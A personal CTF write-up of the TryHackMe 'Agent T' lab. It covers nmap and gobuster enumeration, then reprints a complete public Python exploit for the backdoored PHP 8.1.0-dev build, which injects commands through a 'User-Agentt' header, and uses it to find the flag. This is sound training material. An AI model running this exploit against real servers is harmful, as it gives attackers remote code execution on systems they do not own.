TryHackMe: Agent T

TryHackMe: Agent T by  ben and JohnHammond and cmnatic and blacknote and timtaylor

Agent T uncovered this website, which looks innocent enough, but something seems off about how the server responds...
After deploying the vulnerable machine attached to this task, please wait a couple of minutes for it to respond.
Answer the question: What is the flag?

Enumeration

Ok, so first things first! Let' start the machine and then add it to our /etc/hosts

╰─⠠⠵ echo "IP.ADD.RE.SS agentt   agentt.local" | sudo tee -a /etc/hosts
IP.ADD.RE.SS agentt   agentt.local

Now we can address it by name lets give it a few moment then run our nmap scan against it.

╰─⠠⠵ nmap -sC -sV -oA agentt -A -v agentt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-14 20:33 BST
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 20:33
Completed NSE at 20:33, 0.00s elapsed
Initiating NSE at 20:33
Completed NSE at 20:33, 0.00s elapsed
Initiating NSE at 20:33
Completed NSE at 20:33, 0.00s elapsed
Initiating Ping Scan at 20:33
Scanning agentt (10.10.18.14) [2 ports]
Completed Ping Scan at 20:33, 0.03s elapsed (1 total hosts)
Initiating Connect Scan at 20:33
Scanning agentt (10.10.18.14) [1000 ports]
Discovered open port [REDACTED]/tcp on 10.10.18.14
Completed Connect Scan at 20:33, 0.50s elapsed (1000 total ports)
Initiating Service scan at 20:33
Scanning 1 service on agentt (10.10.18.14)
Completed Service scan at 20:33, 6.32s elapsed (1 service on 1 host)
NSE: Script scanning 10.10.18.14.
Initiating NSE at 20:33
Completed NSE at 20:33, 1.36s elapsed
Initiating NSE at 20:33
Completed NSE at 20:33, 0.13s elapsed
Initiating NSE at 20:33
Completed NSE at 20:33, 0.00s elapsed
Nmap scan report for agentt (10.10.18.14)
Host is up (0.043s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
[REDACTED]/tcp open  [REDACTED]    PHP cli server 5.5 or later (PHP 8.1.0-dev)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title:  Admin Dashboard

NSE: Script Post-scanning.
Initiating NSE at 20:33
Completed NSE at 20:33, 0.00s elapsed
Initiating NSE at 20:33
Completed NSE at 20:33, 0.00s elapsed
Initiating NSE at 20:33
Completed NSE at 20:33, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.83 seconds

Ok so we have a single port open, let's go ahead and take a look.

Clicking around we find blank and 404 pages as well as some broken links. None of the clickable actions do anything and can not see anything else going......hmmm ok, let's try our gobuster to see if we can find anything...

╰─⠠⠵ gobuster dir -u http://agentt.local/ -x txt,php,zip,bak,tgz,tar,tar.gz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://agentt.local/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt,php,zip,bak,tgz,tar,tar.gz
[+] Timeout:                 10s
===============================================================
2022/08/14 20:39:33 Starting gobuster in directory enumeration mode
===============================================================
Error: the server returns a status code that matches the provided options for non existing urls. http://agentt.local/0b7e7b43-6c22-466d-8808-c3999cbce652 => 200 (Length: 42131). To continue please exclude the status code, the length or use the --wildcard switch

Adding the --wildcard switch just results in allot of false postives and none of the usual suspects return any results.

Exploitation

Looking back the the nmap results we see the version of PHP as PHP 8.1.0-dev, throwing this into InsertSearchEngineVerb we find

Hmmm so we have a possible [R]emote [C]ode [E]xcution, lets take a look at the exploit code.

# Exploit Title: PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution
# Date: 23 may 2021
# Exploit Author: flast101
# Vendor Homepage: https://www.php.net/
# Software Link: 
#     - https://hub.docker.com/r/phpdaily/php
#    - https://github.com/phpdaily/php
# Version: 8.1.0-dev
# Tested on: Ubuntu 20.04
# References:
#    - https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
#   - https://github.com/vulhub/vulhub/blob/master/php/8.1-backdoor/README.zh-cn.md

"""
Blog: https://flast101.github.io/php-8.1.0-dev-backdoor-rce/
Download: https://github.com/flast101/php-8.1.0-dev-backdoor-rce/blob/main/backdoor_php_8.1.0-dev.py
Contact: flast101.sec@gmail.com

An early release of PHP, the PHP 8.1.0-dev version was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by sending the User-Agentt header.
The following exploit uses the backdoor to provide a pseudo shell ont the host.
"""

#!/usr/bin/env python3
import os
import re
import requests

host = input("Enter the full host url:\n")
request = requests.Session()
response = request.get(host)

if str(response) == '<Response [200]>':
    print("\nInteractive shell is opened on", host, "\nCan't acces tty; job crontol turned off.")
    try:
        while 1:
            cmd = input("$ ")
            headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
            "User-Agentt": "zerodiumsystem('" + cmd + "');"
            }
            response = request.get(host, headers = headers, allow_redirects = False)
            current_page = response.text
            stdout = current_page.split('<!DOCTYPE html>',1)
            text = print(stdout[0])
    except KeyboardInterrupt:
        print("Exiting...")
        exit

else:
    print("\r")
    print(response)
    print("Host is not available, aborting...")
    exit

Reading the above it looks a backdoor was added to this version of PHP, it looks like this python3 code will submit the commands to websever and return the output. As this is sending a command at at time it will limit what we can do.

╰─⠠⠵ python3 exploit.py 
Enter the full host url:
http://agentt.local/

Interactive shell is opened on http://agentt.local/ 
Can't acces tty; job crontol turned off.
$ 

After trying several ways to get a better shell (hey, like I said I am rusty) I gave up and tried looking for the flag under /root/ and /home

$ ls /root

$ find /root
/root
/root/.profile
/root/.bashrc

$ find /home
/home

Unlike most CTF's the flag is not in the usual place, so lets search the file system.

$ find / | grep -i flag
/proc/sys/kernel/acpi_video_flags
/proc/kpageflags
/usr/local/lib/php/build/ax_check_compile_flag.m4
/var/www/html/vendor/fontawesome-free/svgs/brands/font-awesome-flag.svg
/var/www/html/vendor/fontawesome-free/svgs/regular/flag.svg
/var/www/html/vendor/fontawesome-free/svgs/solid/flag-usa.svg
/var/www/html/vendor/fontawesome-free/svgs/solid/flag-checkered.svg
/var/www/html/vendor/fontawesome-free/svgs/solid/flag.svg
/sys/devices/pnp0/00:06/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS15/flags
/sys/devices/platform/serial8250/tty/ttyS6/flags
/sys/devices/platform/serial8250/tty/ttyS23/flags
/sys/devices/platform/serial8250/tty/ttyS13/flags
/sys/devices/platform/serial8250/tty/ttyS31/flags
/sys/devices/platform/serial8250/tty/ttyS4/flags
/sys/devices/platform/serial8250/tty/ttyS21/flags
/sys/devices/platform/serial8250/tty/ttyS11/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS28/flags
/sys/devices/platform/serial8250/tty/ttyS18/flags
/sys/devices/platform/serial8250/tty/ttyS9/flags
/sys/devices/platform/serial8250/tty/ttyS26/flags
/sys/devices/platform/serial8250/tty/ttyS16/flags
/sys/devices/platform/serial8250/tty/ttyS7/flags
/sys/devices/platform/serial8250/tty/ttyS24/flags
/sys/devices/platform/serial8250/tty/ttyS14/flags
/sys/devices/platform/serial8250/tty/ttyS5/flags
/sys/devices/platform/serial8250/tty/ttyS22/flags
/sys/devices/platform/serial8250/tty/ttyS12/flags
/sys/devices/platform/serial8250/tty/ttyS30/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS20/flags
/sys/devices/platform/serial8250/tty/ttyS10/flags
/sys/devices/platform/serial8250/tty/ttyS29/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/platform/serial8250/tty/ttyS19/flags
/sys/devices/platform/serial8250/tty/ttyS27/flags
/sys/devices/platform/serial8250/tty/ttyS17/flags
/sys/devices/platform/serial8250/tty/ttyS8/flags
/sys/devices/platform/serial8250/tty/ttyS25/flags
/sys/devices/virtual/net/eth0/flags
/sys/devices/virtual/net/lo/flags
/sys/module/scsi_mod/parameters/default_dev_flags
/flag.txt

Ok, so the flag is under / so let's grab it.

$ cat /flag.txt
flag{[REDACTED]}

Thought's

Interesting to see this backdoor in action, it caused quite a stir when discovered..... I am sure if I played with it a bit longer I would be able to get a better shell but the goal was the flag. I also streamed this on TwitchTV.

TryHackMe Rooms - apjone on Twitch
apjone went live on Twitch. Catch up on their TryHackMe VOD now.